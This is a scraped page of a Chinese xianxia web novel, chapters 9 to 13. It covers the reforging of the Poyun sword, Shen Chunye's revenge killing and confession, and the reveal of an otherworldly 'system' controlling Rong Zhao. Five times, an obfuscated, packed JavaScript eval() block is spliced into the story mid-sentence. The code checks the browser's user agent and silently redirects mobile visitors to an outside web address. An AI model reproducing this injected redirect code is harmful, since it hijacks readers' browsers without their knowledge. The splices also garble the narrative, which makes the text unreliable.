煅金阁的人没有对谣言进说明,没人想和曾经勾结魔族人的徒儿扯上牵连,更何况现在煅金阁不上不下的尴尬地位,更不敢和魔沾上一毫半点的关系。 但尉迟燎不可能去魔窟送死。这样做更是坐实了她师尊勾结魔族的罪名。 没有人知道尉迟燎现在在何处,宋长云让罗夜先去煅金阁打探情况,也只是想碰碰运气。 若是寻不到尉迟燎,那便只能从另一个人身上入手。 煅金阁前阁主座下有两个徒儿,一个是尉迟燎,另一个在曾经事发时因为忍受不了煅金阁对师尊的诋毁,当场怒斥煅金阁人不忠不义,最后在师姐继任阁主失败后退出煅金阁,如今是个行踪不定的散修。 这么多年她一直在找寻为自己师尊翻案的证据,任何与之有关的都不放过。只要放出一丝相关的风声,她一定会来。 两师姐妹私下一定有联络。 行至一半,宋长云收到罗夜传来的密信。 她看完,沉思片晌,转头御剑朝着妖域的方向飞去。 - 妖域。 罗夜早已在入口处等她,待她进入结界后,引她朝着一处偏殿走去。 “你找到尉迟前辈了?”宋长云问。 罗夜迟疑了一瞬:“是她主动来到妖域,找上了殿下。” 宋长云顿了片刻,旋即了然。 若是尉迟燎曾经暗中帮过她,必然会料到自己日后会托她重铸破云剑。 她曾与司命交好在修仙界中不是秘密,甄斐仁的死,给了所有知情人一个信号——宋长云已经不是宋长云了。 或者说,真正的宋长云,终于回来了。 而对现在的宋长云来说,最安全的地方也只有妖域。 尉迟燎会来妖域找她并不奇怪。 司命将尉迟燎安排在了一处并不显眼的偏殿,同前些时日的宋长云一样,除了司命自己与玲珑卫,没人知道她们在妖域。 宋长云见到了尉迟燎。 面前的人早已不是她印象中的模样。宋长云没见过前阁主,自然也没见过尉迟燎最意气风发的时候,可现在的她即便与百年前相比,依然相去甚远。 尉迟燎修为比她高,如今不过几百岁,鬓边已经有了白发,状态比起从前更是憔悴。 尉迟燎直直望着宋长云,嘴唇紧抿,许久才开口说了一句:“你回来了。” ——你回来了。 是指她回到了妖域,还是指她的魂魄终于回到了身体? 或许两者都有。 宋长云拱手行了一礼:“尉迟前辈。” 尉迟燎却只是看着她,像是要透过她看向别的什么人。 “既然你能回来……那么师尊她是不是——” 是不是也能回来。 尉迟燎甚至不敢问出口。 “我不知道。”宋长云沉默片晌,如是说。 那时前阁主最后的动向便是魔窟,这也是旁人中伤她勾结魔族的佐证之一。 没人亲眼看见她进了魔窟,也没人亲眼看见她死亡。 只是…… 宋长云垂眸,没有将自己的猜测说出来。 容昭既然要夺舍她们助长自己的修为,那么将人利用完之不会留下她们的性命,给自己留下后患。 便是她自己,也险些死在容昭手里。 到现在宋长云也不知道她为何会突然回到自己的身体,明明在那百年里不管她如何努力都做不到。 尉迟燎双拳紧握,眼中燃烧着汹涌的恨意。 她忽然对上宋长云的视线:“到底是不是容昭——” “我没有证据,但能确定这一切定然与他有关。” 尉迟燎闭了闭眼,半晌,她平复下自己的情绪,朝宋长云伸出手。 她的语调恢复平静:“我帮你重铸宝剑,你替我报仇。” 她知道自己不是容昭的对手。 她不怕招惹青云宗,不怕被整个修仙界追杀,更不怕死,但她的死,必须能证明师尊的清白,必须要替师尊杀了害死她的罪魁祸首。 这么多年,只有宋长云在容昭手里活下来了。 也只有宋长云,是她能够清醒地意识到被夺舍的人。 其她人,包括她的师尊在内,那时她,那时的所有人,都像是被什么迷惑了一样,看不出她们的异样。 若是她能早些发现师尊被人控制,也许师尊就不会死。 至少不会到死还要背负上莫须有的污名。 尉迟燎确信师尊绝不会勾结魔族。 尉迟燎情愿遭受这一切的是她,师尊明明是这世上顶顶好的人。 她接过宋长云的剑,还有她们从秘境中带出来的叱白兽的火种与龙龟的鳞片。 “我需要时间。”她说。 破云剑是不同于寻常的宝剑,即便是师尊,也没有把握一定能重铸成功。 但尉迟燎只能成功。 为了师尊……她只能成功。 “我等你。”宋长云微笑着说。 重铸剑身的时间,与她曾被困百年相比,算不了什么。 这时,司命也终于回来。 她朝尉迟燎颔首算作打了招呼,命姽婳带尉迟燎去她刚刚安排好的锻造室。 尉迟燎找上她的那一刻,她便让人去准备接下来的事情了。 尉迟燎需要一间完全契合的锻造室,她便着人去煅金阁,将原本属于尉迟燎的锻造室搬了回来。 总归煅金阁那群人在这几百年里将曾经与前阁主相关的地方视作禁地,即便在她们眼皮子底下偷走一间锻造室那群蠢货也不会发现。 如此,剩下的便只是等了。 - 三日过去,天枢秘境如期关闭。 众人陆陆续续出来,各宗门清点着自家徒子,而后带着自己在秘境中或多或少的收获,与众人一一道别离开青云宗。 沈春野走在青云宗长队的最后,她面无表情地盯着队伍中间的一个人。 是那个将小师妹推入凶兽口中、杀死师妹的凶手。 其它宗门的人先后离开,青云宗又恢复到了以往的冷清。 青云宗此次在秘境中折损的徒子也有不少,此刻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15018694|162151||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 众人心头都笼罩着一层伤感之色。 沈春野跟在那人身后,见着他悄悄脱离了大家的视线,鬼鬼祟祟地朝着一处僻静的位置走去。 她看见他确认四下无人后,从自己的储物袋中摸出了一样什么东西,而后流出了一抹贪婪的笑容。 那抹笑让她觉得刺眼,害死别人的人,怎么能心安理得地好好活着? 待看清他手中的东西之后,沈春野心中怒火更甚。 那是师妹的储物袋。 师妹的储物袋中放着她曾经得到的稀奇物件,也有此次在秘境中得到的机缘。沈春野看着他翻着师妹的东西,脑中理智的弦终于绷到了极限,断了。 她走到那人身后。 那人察觉到有人靠进时,沈春野距离她只有一步远的距离。 他下意识将储物袋藏到身后,讪笑道:“师、师姐。” 沈春野抬手,储物袋便从他手中飞出,落在了她手中。 她平静地问他:“为什么要把她推出去,死的原本该是你。” 许是沈春野太过冷静、丝毫没有愤怒的表情让他觉得自己还有转圜的余地。他毫不犹豫地跪下恳求:“师姐、师姐,我那时候太害怕了,我不是故意的,求你不要告诉师尊,不要告诉掌门,我会为她祈福,日日替她超度助她早日投胎的,沈师姐——” 他的眼里没有丝毫悔过,只有自己即将逃离惩罚的窃喜,完全忘记了面前人曾经也险些被自己害死。 沈春野不想再听他狡辩,定了他的身,在他惊恐的目光中举起了手中的匕首。 血色四溅。 - 小师妹的储物袋染了血,沈春野小心翼翼地擦拭掉那肮脏的血迹,找了处僻静的地方,拿了针线,将小师妹的尸体一针一针地缝好。 她还没有踏入仙途的时候,曾听身边的人说过,死无全尸的人是不能投胎转世的。 她要将师妹的尸体拼好,让师妹安心地去投胎。 她在树下亲手挖了一个坑,将师妹缝补好的尸体与她的储物袋一起葬在了里面。而后静静地站着,看着那座矮小的、光秃秃的坟包,一直到天边泛起鱼肚白。 沈春野终于动了动站麻了的腿脚,朝着主峰走去。 戒律堂内。 沈春野跪在下首,平静地认罪:“徒儿沈春野,自请受罚。” 上首她的师尊斥道:“胡闹!戒律堂岂是你儿戏的地方,速速下去,莫要耽误大家的时间。” 沈春野是她最乖最省心的徒儿,她不信她会做出什么需要戒律堂惩处的事情。 戒律堂堂主也皱眉,只是按照惯例问道:“你犯了何错?” “残害同门。”沈春野面上毫无波澜,“那人的尸体在后院断崖下的山洞里,脖子上插着的是我的匕首。” 杀完人后,沈春野将人藏了起来。 她要先将小师妹安葬,在那之前,不能有人来打扰她。 杀人偿命,她也一样。 戒律堂堂主给旁边人使了个眼色,要她去沈春野说的地方确认一下。 沈春野的师尊跟上去,想要亲眼确认自己的乖徒儿是不是真的残害同门。 她不信最循规蹈矩的沈春野会残害同门,与她交好的所有人都不信。 沈春野只是静静跪着,等待着自己的宣判。 10. 第 10 章 沈春野的师尊随着戒律堂的人来到断崖下的山洞,果然发现了一具尸体。 尸体脖子上插着的匕首,竟真是她乖徒儿随身携带的那把。 看着戒律堂的人将尸体带走,满眼不可置信。 沈春野怎么可能会杀人? 她沉下脸,飞身前往另一峰,前去找此次带队的江离忧。 有了证据,沈春野又对自己的罪行供认不讳,戒律堂堂主将人关进了牢房,等待发落。 牢房中暗无天日,只有角落里燃着一盏极暗的烛灯。沈春野靠在墙边,抬头看着那抹昏暗的光。 回来之前还说要做师姐宗门内的眼睛,这下好了,师姐的眼睛被关进了牢里,只能看着一盏烛灯等着自己的结局。 她会被判什么刑罚呢? 残害同门按律应当被处死。她杀人时也是抱了一命换一命的心思。但她是自首,师尊也不可能真的不管她。 师姐的眼睛还是有机会出去的。沈春野想。 她觉得自己心态真好,这种时候还想着出去之后要做师姐的卧底。 然后脑袋就被狠狠敲了一下。 “还笑,你知不知道你现在是什么处境?亏你还笑得出来!” 沈春野愣住,看向来人,然后老老实实地跪下认错:“对不起,师尊,我错了。” 罗翊天冷眼看着她:“你错哪儿了?” “我不该笑。”沈春野诚恳道。 “……”她要被这个平日里最省心的徒儿气疯了,“那你就该杀人?” “他该死,他为了活命,害死了同门的师妹。”沈春野说,“以命偿命,天经地义。” “那是秘境,死伤不负。” 傻孩子,要报仇在秘境里的时候做什么去了?便是出来后也有的是办法让他消失。 青云宗不是什么净土,背地里照样有不干净的手段。 只有沈春野这种死心眼儿的,做了坏事非但不懂遮掩,还跑去戒律堂自首。 “宗门的规矩,残害同门,当处以死刑。即便在秘境中,那也是青云宗的同门。”沈春野说。 “你倒是守规矩。”罗翊天面色复杂地看着她,“那你呢?” “徒儿甘愿领罚。” 师尊叹了口气,没再说话,消失在了牢房中。 沈春野又靠回冷冰冰的墙上。 她默默想着自己要受什么刑罚,有多久才能出去继续做师姐的眼睛。 最坏的情况就是师尊也保不下她,大不了以命抵命。 只希望她死后能有人将她葬在长满花儿的地方。 她喜欢春天遍地是野花儿的地方。 - 宋长云不知道戒律堂正在发生的事,破云剑被尉迟燎拿去重铸,她现在在要妖域内,正抱着那柄刻着“应”字的剑细细打量。 她想去杀了容昭。 容昭用自己的血在秘境中结下血阵,又在最后关头紧急撤下,对他的身体肯定有反噬。 现下是容昭最虚弱的时候。 若是现在去杀他,说不定能成功。 她还未有所动作,就被司命按住了肩膀。司命沉着眉警告她:“不要冲动。” 宋长云抬头看向她,笑了笑。 “我知道。” 她想象中的能成功,是她有破云剑的情况下。 现在手中这把剑,发挥不出如破云剑那般的威力。 只是她始终搞不清,应掌门当日为何要给她这柄剑? 那时她甚至还没有练气,个头还没有剑身高的小不点,掌门便笃定了她会选择成为剑修吗? 为何掌门闭关多年唯独那日见了她? 容昭到底为什么这么着急地想要杀了她? 在她之后,这百年里,还有没有其她人和她一样,被夺舍,被操控,被那个东西用自己的身体去做她们不想做的一切。 被那东西占据自己的身体后,宋长云只能看得到它看到的,接触的一切都被缩窄。 她无法去确认宗门内有没有其她同她一般的人,更无法确认其它宗门。 甚至是……凡人。 那东西会操控凡人吗? 它想要的到底是什么? 一片安静中,宋长云忽然起身。司命拽住她的手:“你要去做什么?” “去外面看看。”宋长云说。 “不行,”司命皱眉道,“破云剑重铸完成之前你哪都不许去。” “阿肆,我不会去自寻死路。”她拍拍司命的手,宽慰道,“你若不放心让罗夜跟着我便是。” 司命盯了她一会儿,松开了手,示意罗夜和姽婳跟着她。 “别让她去青云宗。”司命吩咐二人。 “是。”姽婳与罗夜领命,一左一右跟在宋长云身后,出了妖域。 在罗夜的能力下,三人乔装打扮,混入了修仙界。 宋长云带着她们四处打探,几日下来,在她被夺舍的这百年里,竟然没有哪个女修出现异常。 不论是性情大变还是离奇失踪,在三人打探来的消息里,都不存在。 宋长云坐在酒馆里陷入沉思。 她当然不会认为自己比应掌门她们还要难对付,夺舍自己后容昭便没了精力再去操控其她人。 她身上到底有什么?让容 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15018695|162151||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 昭,让它如此谨慎对待。 她正思索着,在旁边的人闲聊听见了熟悉的字眼。 “听说了吗?咱们从秘境出来那日,青云宗发生了大事。” “什么?” “有人杀死了自己同门的师弟。” “谁?” “好像姓沈,听说后日便要受罚了。不知道青云宗会不会直接将她处死。” “残害同门可是大罪过哟……她为何要杀死同门?” “谁知道呢。秘境里那么乱,你说那人有没有可能是着了魔?” …… 宋长云皱眉。 她想起自己在秘境中救下沈春野那日。师妹同她说,她们一行原本还有个男徒子,那个被她从凶兽肚子中扒出尸身的女修,是被那名徒子害死的。 她记得师妹说这些事眼底的悲痛与恨意。 她们说的这个姓沈的,不会是师妹吧? - 青云宗,牢房内。 “沈姑娘。” 沈春野耳边忽然听见一道声音,她心中一紧,下意识看向周围。 牢房中没有人,只有门口有戒律堂的人守着。各个牢房之间有单独的结界,自己的牢房内听不别的牢房的声音。 “我是罗夜,妖皇殿下身边的玲珑卫,我们之前见过。” 沈春野想起之前在秘境中见到的司命身旁的四人,虽然对不上脸,但知道了她时其中之一便放下心来。 不是来暗杀她的就好。 接着她又紧张起来:“你怎么来了?” 被结界发现了怎么办?师姐会暴露的。 “宋姑娘托我来问你,后日需不需要她将你劫走。”说罢罗夜又补充道,“我的能力是隐匿,牢房中的法阵发现不了我的。” “不必,替我谢谢师姐。”沈春野小声说,“你让师姐放心,师尊和江长老为我求了情,她们没有判我死刑,只需要受点皮肉苦,我杀了人,那些罚都是我该受的。” 她顿了顿,又说:“你告诉师姐,让她一切小心。” 那日她在断崖下的山洞里藏匿尸体的时候,似乎察觉到了一丝诡异的气息。 沈春野在青云宗修炼许多年,她很确定那道气息不属于青云宗。 只是她也不确定是那时的她太过恍惚恍了神出现了错觉,还是青云宗内真的藏着什么东西。 那日师尊与戒律堂的人都去了洞里,她们回来后没有丝毫异样,沈春野便没有将这不确定的事情与师尊说。 她怕那是真的,会害师尊陷进什么阴谋里。 若是真的有什么……或许会与师姐正在做的事情有关。 11. 第 11 章 锻造室内。 尉迟燎抬手擦了擦额头上的汗珠,灵田内的灵力充盈而后迅速枯竭,循环往复,她的脸色很不好,嘴唇白得几乎没有血色。 那些师尊曾亲手教会她的技巧、功法,此刻一一融进手中的剑中。 师尊—— 尉迟燎面无表情,灵力汇聚在手中的法器,反复淬炼,捶打,手臂肌肉绷紧,每一下的力度、角度、对灵力的控制,她曾反复练习过千万次。 与之相伴的是师尊一声声不厌其烦的纠错和叮嘱。 尉迟燎从来都不是煅金阁最有天赋的人,她比所有人都更要努力,只是想成为让师尊骄傲的徒儿。 她从小离开家跟在师尊身边,几百年里生身母父早已寿终正寝,师尊对尉迟燎来说也早就不止是师尊,更是家人。 是她的母亲。 法器在嗡鸣。 师尊说万物有灵,器灵与主人心意相通,它在提醒她,她的身体已经快到极限。 但是不够,不够—— 她必须成功,这把剑也必须完美。 就算不能亲手替师尊报仇,她亲手锻造的剑也会染上仇人的血,告慰师尊在天之灵。 尉迟燎胸膛剧烈起伏,她停下来,汗水模糊了视线,让她有些看不清眼前的一切。 快要完成了。 灵力枯竭了便塞一把聚灵丹,地上已经满是空了的瓷瓶。 这是她燃烧生命的孤注一掷。 - 青云宗。 罗翊天再一次出现在断崖下的山洞里,掌心贴上粗糙的洞壁,神识散开,迅速铺满整座山峰,却一无所获。 墙壁后面只是冰冷的石头,没有任何异样。 仿佛前几日发现尸体时的石壁后透出来的一丝异常只是错觉一般。 她将自己的发现说与戒律堂堂主,堂主却只是说她救徒心切产生了错觉。 罗翊天沉下眼眸,神色晦涩不明。 真的只是她的错觉吗。 那一刻她想起百年前自家徒儿无比焦急地求她救救她的师姐,沈春野说现在的宋长云不是真正的宋长云,求她救她。 那时她是怎么回答的—— 她说沈春野在胡闹,甚至斥责她因为这点小事去打扰掌门。 罗翊天飞身回到断崖上,仰头望向上空。 也许她的徒儿是对的。 这个世界是混乱的,有什么东西在操控着它。 这些年她心头总萦绕着一丝异样的感觉,好像神志与行为都在被什么影响,想要细究时又会忘记她在做什么。 她不是没头没脑的小徒子,不是没有怀疑过,只是她什么都做不了,也许下一刻,她此刻所想就会被尽数忘却。 罗翊天闭了闭眼睛,在心中长叹。 那东西平日里不会干涉她们,只是在她们想要去发现真相的时刻,让她们变得像是提线木偶一般,像是成了它的傀儡。 若是应掌门还在就好了。 若是应掌门还在,她一定能搞清楚这是怎么回事,也一定能找到破局之法。 可惜—— 罗翊天面上闪过一丝茫然。 应掌门……过几日便是应掌门的祭日了,她该去祭拜。 - 青云宗,长明殿。 殿内供奉着青云宗历代掌门与长老的灵位,江离忧站在殿中,望着其中一个灵位出神。 过了许久,她开口,声音不大,刚刚够殿内的人听到:“出来吧。” 身后的帷幔动了动,而后一前一后出现两个人影。前面的人身形高而壮,腰间别着一柄剑,宽大的兜帽遮住了她的面容。 宋长云摘下兜帽,身侧跟着一言不发的罗夜。 她看向江离忧,不卑不亢地行礼:“师姑。” 江离忧应了一声。她瞥了眼宋长云身侧的罗夜,神色不明:“你与妖族那位倒是要好。” “嗯,多亏阿肆帮我。”宋长云并不避讳。 她百年前就与司命交好,更遑论如今。 两人都没有继续说话,殿内再次陷入安静。 “你不怕吗。”江离忧问她。 宋长云笑了一下:“他不会出来。” 或许是心里有鬼,每逢应掌门忌日,容昭便会找借口或闭关或下山,从不肯来祭拜。 江离忧的目光中含着审视:“他是我师弟,你不信他,却信我?” 宋长云没有回答,只是拿下自己身侧的剑,递到江离忧面前。 “师姑可认识 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15018696|162151||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这把剑?” 是那柄刻着“应”字的剑。 江离忧看着那把剑,许久,才伸手接了过来,指尖微不可察地颤了一下。 只片刻,她便将剑还给了宋长云。 “只是一把普通的剑罢了。”她随意道。 宋长云看着她,许久,忽然开口:“是问心。” 她执起剑,将剑立于应璃真的灵位前,似是有所感应,剑身轻轻颤动了一刹。 极细微的震颤,转瞬即逝。可宋长云还是感受到了。 她低头,指腹轻轻抚过剑柄上刻着的字。 前些日,她如同自言自语般问跟在她身边的罗夜,这柄剑身上为何会被刻上一个“应”字。 那时罗夜愣了片晌,才道她看不见上面的字。 她从未与人讲过这柄剑是应掌门赠与她。最初得到时,小小的宋长云第一反应便是昭告天下,她最喜欢最崇拜的应掌门赠了她生辰礼。 可不知道为什么,每每她想说与旁人的时候,都像是有什么在阻止她,不许她开口。 后来这柄剑被她收起来再也没有拿出过,竟是到如今才知道,只有她能看得见那个“应”字。 “容昭一直在寻的,应掌门的本命剑。” 应璃真去世后,本命剑问心不知所踪。 容昭一直在暗中寻找,这件事宋长云也是百年前暗中调查时偶然得知的。 他寻遍了所有地方都找不到问心,丝毫没有注意到他想要的早就在他身边了。 那把他后来的小徒子手中突然出现的平平无奇的剑,那把看似在青云宗内最平常不过的剑,便是他苦苦寻不得的问心剑。 江离忧的目光从剑上移开,落在宋长云的身上,眼底含着复杂的神色,没有回应她的问题。 “回去吧,长云。”江离忧只是说。 宋长云没有继续追问,她重新将兜帽戴上,与罗夜一起向殿外退去,渐渐隐入夜色。 宋长云离开后,江离忧依然静静地站在那里,像是长明殿中从未出现过另一个人。 许久,殿中响起一声低喃—— “师姐。” 随后,江离忧消失在长明殿中,只留下一句极轻的叹息。 “——希望你是对的。” 12. 第 12 章 宋长云回到妖域时司命不在,也没有留下什么信件,于是问身边的罗夜:“阿肆呢?” 罗夜闭上眼睛,将右手放在左胸口心脏处,微微低着头。 片晌,她睁开眼睛,略微有些迟疑:“殿下……去拜访人皇了。” 宋长云点点头,表示知道了。 上一次见到人皇是在她被夺舍不久前。 那时她在调查应掌门走火入魔的真相,顺着一些并不明确的蛛丝马迹来到了人皇的地界。 人皇的宫殿外被布下了一道道法阵,那些繁复的纹样宋长云从未见过。 宋长云的调查从始至终线索都非常碎,宋长云无法将她们串联在一起。后来她还未将阵法解出来,灵魂便被挤出了身体。 不知道现在的人皇如何,那东西的手有没有伸到凡人身上去。 它要的到底是什么?只是像魔族一般吞噬其她人的修为吗? 若是如此,它又为何要如此大费周章? 容昭害了那么多人,到现在也只是个大乘,即便已经半步渡劫,却迟迟没有破镜。 他——或者它,在等什么? 她们修复破云剑的期间容昭必然也在疗伤,等破云剑重铸完成那日,或许容昭当日被血阵反噬留下的伤早已在它的帮助下恢复。 想要杀他,还要再找其它机会。 回到妖域后罗夜便不再时刻跟在她身边,宋长云独自一人去了尉迟燎的锻造室。 尉迟燎进去之后就没再出来过,只有侍者不断送进去的聚灵丹。 锻造室内。 汗珠从她的脸上滑落,滴在地上,鲜红而刺目。 尉迟燎眼前模糊一片,已经分不清糊再在眼前的到底是汗还是其它是什么。 宋长云进来时看到的便是尉迟燎那把狼狈的模样。 “尉迟前辈——” 宋长云心中一沉,疾步过去搀扶住摇摇欲坠的尉迟燎。 尉迟燎反手推开她,干涸的喉咙艰难地挤出了几个字:“我没事” 她说着,就要再次拿起自己的法器。 “尉迟燎!”宋长云拦住她,急恼万分,“再不停下你的身体会扛不住的。” 尉迟燎摇着头,她看向宋长云:“只要你能替我找到害死师尊的人,替我杀了他。” 她死了也没关系。 死了,也许还能再见到师尊。 尉迟燎忽然笑起来,她认真地看着宋长云,脑海中回忆翻涌。 “师尊曾经和我说过,若是有一天她不在了,要我找到问心剑的主人,成为她的助力。” 问心剑是尉迟燎的师尊亲手打造,后来认主应璃真。 “应掌门已死,问心剑,现在在你手里吧。”尉迟燎说。 “是。”宋长云点头,取出了问心剑。 问心剑此刻依旧是最普通不过的铁剑的模样,尉迟燎凝滞片刻,忽然闭了闭眼睛。 “我知道了。”她说,睁开眼是,眼里已经没了之前近乎疯狂的模样。她握着问心剑,平静地看向宋长云。 “我需要你助我。” 宋长云定定地看着她,片晌,应道:“好。” 尉迟燎长长地吸气,又呼出。 她握着问心剑,划破掌心,血色覆盖在原本“应”字所刻的地方。 “把你体内的灵力传给我。”尉迟燎说。 她的灵田现在一片干涸,吃聚灵丹已经不够再填补。 她需要更多更醇厚的灵力。 宋长云隐隐猜到了她想做什么。 灵力运转,宋长云抬手,将自己的灵力传送给尉迟燎。 血色浸入剑中,“应”字随之亮起来,而后一寸寸碎裂。 封印破,问心剑的伪装一点点褪去,露出了它本来的模样。 有什么在一瞬间涌入宋长云体内,原本因为不断输送给尉迟燎而渐渐减少的灵力在一刹那重新充盈,磅礴的力量汇聚在她体内。 合体期无法承受的能力如狂潮般奔涌而来,却在靠近她时化作温柔的流水,温和地将她裹住。 问心剑剑身发出耀眼的光芒,随着灵力的流动在尉迟燎的锻造下融入了破云剑。 直至最后一下完成,尉迟燎终于卸了力,手臂脱力地垂下,手中法器掉落在地上。 破云剑在她手下有了新生。 她神色复杂地看了眼仿佛入定的宋长云,喘着气,没有多余的动作。 问心剑剑柄 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15018697|162151||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上的“应”是应掌门设下的封印。 封印里有她师尊的手笔,所以尉迟燎能解开。 师尊,您早就知道有这每天了,是吗。 尉迟燎将破云剑插入剑鞘,端正地放在宋长云身前。她撑着沉重的身体走出去,给房间布下一个结界,对门口司命给她的侍者道:“守好门,谁也别让她进去。” 侍者微微倾身:“是。” 宋长云,是师尊选中的人。 - 宋长云见到了自己的灵魂。 或者说,她正在以旁观者的身份,见证自己被创造的过程。 宋长云的确是婴儿时便被应璃真带回青云宗,但她不是弃婴,她没有母父,又或者说,她有很多母亲。 应璃真是她的母亲,药王谷谷主是她的母亲,煅金阁阁主是她的母亲,甚至司命的母亲,前任妖皇殿下,也是她的母亲。 有许多她不曾见过面孔,她们剥离出自己的一部分,赋予她,一点点将她拼凑成后来的模样。 “如果我们的猜测没错,它不属于这方世界,却能操纵世界的规则。” “有一天我们也会成为它手下的傀儡。” “它要创造一个属于它的主角。” “我们是它为主角储备的血肉,是它的养料。” “既然这个世界的主角需要我们牺牲奉献,那我们为何不能自己创造这个主角?” “嗯。她会是我们的孩子。” …… 宋长云听见许多声音,终于从这些声音里拼凑出了自己想要的真相。 她们在很早之前就发现了藏在背后的“它”。 它来自于异世,不知用什么方法在芸芸众生中选择出自己的宿主,完成寄生。 它选择的宿主,会成为这方世界的主角。所有人都会在它的操控下,为主角奉献出自己的一切,为主角成为世界的气运之子铺路。 怪不得容昭吸血了那么多人却仍旧突破了渡劫——即便大乘境在如今的修仙界已经是顶尖的存在。 她们将传承给了她,将希望给了她。 她是宋长云,是她们的一部分。 她们为她铺好了前面的路,她会走完她们剩下的路。 13.第 13 章 青云宗。 自从上次沈春野藏尸山洞后,容昭便将那里的痕迹彻底掩藏,将自己的暗室转移了出去。 昏暗的房间里,容昭满头是汗,他尽力压制着体内的想要暴走的灵力,面色痛苦,而后忽然吐出一口黑红的血。 他打开商城想要兑换药品,却发现商城早就变成了一片灰色。 “系统!”他愤怒地大喊“为什么我兑换不了东西了?我需要药!” 系统冰冷的机械音传来:“积分不足,请宿主积极赚取积分。” 容昭面色几乎扭曲:“我给你做了那么多任务攻略了那么多人,我的积分怎么可能不够?” “那还不是你因为蠢,连几个女人都搞不定,还要我耗费能量帮你控制她们。”系统的声音比刚刚更冷了几分。 要不是绑定之后除非完成最终任务无法解绑,他早就去换个更聪明的宿主了。 它是龙傲天系统,负责绑定各个世界的废物草根帮他们完成逆袭,通过宿主获取这个世界的气运来维持自己的能量。 没想到这个宿主这么没用,攻略总是出差错就算了,让那些女人…… 它只能通过宿主获取这个世界的信息,其她人私下计划了些什么它没办法得知。 容昭从她们身上吸取的力量根本不全,导致它从容昭身上获得的气运值迟迟没有达标。 她们不知道用了什么办法把自己的力量提前分了出去,就像是早就知道了它的存在,知道了后面会发生的事。 宋长云是个变数,这个女人一定与她们的计划有关,可惜它的能量不足,看不透真相。 应璃真刚把宋长云带回来时它就提醒过容昭当心这个孩子,最好在她没能力反抗的时候把她杀了。 容昭没听,他刚愎自用,觉得一个小孩子翻不出什么风浪,还恶趣味地收她为徒。 等后来他再想处理宋长云时,已经来不及了。 她以惊人的速度成长了起来。 即便容昭这个师尊平日里疏于对她的教导,她只是自己领悟也能迅速突破,宋长云永远是同龄徒子中最出色的一个,任何比斗总能拔得头筹,没有人能压得过她的风头。 最让系统无法理解的,是它一直没办法控制宋长云。 这个世界在它眼中只是一个获取能量的工具,它自认为是远远高于这个世界的存在,不论修为多么高深的大能,即便是应璃真她们,只要有足够多的能量,它都能轻易控制。 只有宋长云不行,不管它耗费多少能量都无济于事。 后来它好不容易在她从妖域回来负伤后找机会钻到了空子占据了她的身体,却没想到她还能回来,还杀死了他们费尽心思找到的傀儡。 明明等宋长云一死,容昭找机会弄死甄斐仁,他们从得到宋长云的气运之后,它获得的能量值能直接达标,它就能完成任务解绑容昭离开这个世界了。 如果当初不是容昭为了自己的面子非要找个傀儡当存储器,他们也不会功亏一篑,筹谋到最后什么都没有到。 “如果你老老实实继续做任务,不会到如今的地步。”系统冰冷地说。 这百年里,除了宋长云这条线,容昭几乎没做过其它任务,原本就因为没有得到她们全部力量而缩减的积分到了现在更是已经见了底。 “我已是这个世界的强者,如何能再去做那些自降身价的任务?”容昭不屑道。 系统沉默下来。 如果系统有实体,容昭一定会看得到它忽然阴冷下来的眼神。 可惜几乎已经癫狂的容昭根本没有察觉到系统的异常,只一味喃喃着给他药。 系统忽然察觉到不对。 容昭的状态不对。 放在从前容昭不管多么不可理喻也不会像现在这样失控,更不会像现在这样完全不把它放在眼里。 他的一切都是它给的,容昭平日里对它上虽然算不上多尊敬,发生争执时却也多少会给它几分面子。 而区区血阵的反噬,本也不足以将已经大乘期的容昭伤成这副模样。 一道光球从容昭体内飞出,围着容昭转了一圈又一圈,终于找到了异样。 司命 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 